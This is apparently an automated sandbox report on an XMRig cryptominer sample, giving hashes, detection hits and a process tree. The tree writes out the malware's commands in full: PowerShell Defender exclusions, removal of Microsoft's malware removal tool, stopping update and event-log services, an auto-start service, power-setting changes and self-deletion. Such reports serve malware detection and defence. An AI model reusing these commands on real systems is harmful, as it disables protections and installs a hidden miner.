Analysis
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max time kernel
119s -
max time network
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platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
18-12-2024 01:29
Static task
static1
Behavioral task
behavioral1
Sample
3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe
Resource
win7-20241010-en
General
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Target
3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe
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Size
5.6MB
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MD5
42631cd0a487ce9df33d5eeb353d4250
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SHA1
26941d12d662b14aa149c3e74567b1f544a4966a
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SHA256
3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509
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SHA512
c8aefedd7e7dab86b17f7f02c85f25fd347d55aa243313c54e74e4f0b6b2c7bd3e700e90eb952b9015903943b617607ac5376889ef722d7650dbf0c6067d643b
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/608-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/608-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/608-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/608-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/608-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/608-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/608-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/608-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2588 powershell.exe 1564 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 2092 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 464 Process not Found 1252 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 464 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2288 powercfg.exe 2292 powercfg.exe 2196 powercfg.exe 1320 powercfg.exe 2560 powercfg.exe 2120 powercfg.exe 2320 powercfg.exe 956 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1252 set thread context of 1748 1252 fqwofdtexigy.exe 85 PID 1252 set thread context of 608 1252 fqwofdtexigy.exe 88 -
resource yara_rule behavioral1/memory/608-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/608-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/608-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/608-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/608-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/608-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/608-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/608-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/608-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/608-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/608-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/608-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/608-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2748 sc.exe 2984 sc.exe 2820 sc.exe 2276 sc.exe 3036 sc.exe 1616 sc.exe 1380 sc.exe 1244 sc.exe 2892 sc.exe 2576 sc.exe 2088 sc.exe 1804 sc.exe 1940 sc.exe 1196 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 7010c44bec50db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2588 powershell.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 2916 3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe 1252 fqwofdtexigy.exe 1564 powershell.exe 1252 fqwofdtexigy.exe 1252 fqwofdtexigy.exe 1252 fqwofdtexigy.exe 1252 fqwofdtexigy.exe 1252 fqwofdtexigy.exe 1252 fqwofdtexigy.exe 1252 fqwofdtexigy.exe 1252 fqwofdtexigy.exe 1252 fqwofdtexigy.exe 1252 fqwofdtexigy.exe 1252 fqwofdtexigy.exe 1252 fqwofdtexigy.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe 608 nslookup.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2588 powershell.exe Token: SeShutdownPrivilege 2560 powercfg.exe Token: SeShutdownPrivilege 2320 powercfg.exe Token: SeShutdownPrivilege 956 powercfg.exe Token: SeShutdownPrivilege 2120 powercfg.exe Token: SeDebugPrivilege 1564 powershell.exe Token: SeShutdownPrivilege 2196 powercfg.exe Token: SeShutdownPrivilege 2288 powercfg.exe Token: SeShutdownPrivilege 2292 powercfg.exe Token: SeShutdownPrivilege 1320 powercfg.exe Token: SeLockMemoryPrivilege 608 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 3052 wrote to memory of 2964 3052 cmd.exe 36 PID 3052 wrote to memory of 2964 3052 cmd.exe 36 PID 3052 wrote to memory of 2964 3052 cmd.exe 36 PID 2092 wrote to memory of 1764 2092 cmd.exe 62 PID 2092 wrote to memory of 1764 2092 cmd.exe 62 PID 2092 wrote to memory of 1764 2092 cmd.exe 62 PID 1424 wrote to memory of 2592 1424 cmd.exe 71 PID 1424 wrote to memory of 2592 1424 cmd.exe 71 PID 1424 wrote to memory of 2592 1424 cmd.exe 71 PID 1252 wrote to memory of 1748 1252 fqwofdtexigy.exe 85 PID 1252 wrote to memory of 1748 1252 fqwofdtexigy.exe 85 PID 1252 wrote to memory of 1748 1252 fqwofdtexigy.exe 85 PID 1252 wrote to memory of 1748 1252 fqwofdtexigy.exe 85 PID 1252 wrote to memory of 1748 1252 fqwofdtexigy.exe 85 PID 1252 wrote to memory of 1748 1252 fqwofdtexigy.exe 85 PID 1252 wrote to memory of 1748 1252 fqwofdtexigy.exe 85 PID 1252 wrote to memory of 1748 1252 fqwofdtexigy.exe 85 PID 1252 wrote to memory of 1748 1252 fqwofdtexigy.exe 85 PID 1252 wrote to memory of 608 1252 fqwofdtexigy.exe 88 PID 1252 wrote to memory of 608 1252 fqwofdtexigy.exe 88 PID 1252 wrote to memory of 608 1252 fqwofdtexigy.exe 88 PID 1252 wrote to memory of 608 1252 fqwofdtexigy.exe 88 PID 1252 wrote to memory of 608 1252 fqwofdtexigy.exe 88
Processes
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C:\Users\Admin\AppData\Local\Temp\3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe"C:\Users\Admin\AppData\Local\Temp\3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2916 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2588
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2964
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2892
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:3036
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2576
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2748
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1804
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2560
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2120
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2320
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:956
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:1940
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2088
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1380
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:1616
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\3348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1764
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1564
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2592
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2984
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2820
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1196
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1244
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2276
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2288
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2196
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2292
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1320
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:1748
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:608
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD542631cd0a487ce9df33d5eeb353d4250
SHA126941d12d662b14aa149c3e74567b1f544a4966a
SHA2563348ac957c2b425ffaa0d458fcf8f86ad202991b48d66d2e32b2b841e3af5509
SHA512c8aefedd7e7dab86b17f7f02c85f25fd347d55aa243313c54e74e4f0b6b2c7bd3e700e90eb952b9015903943b617607ac5376889ef722d7650dbf0c6067d643b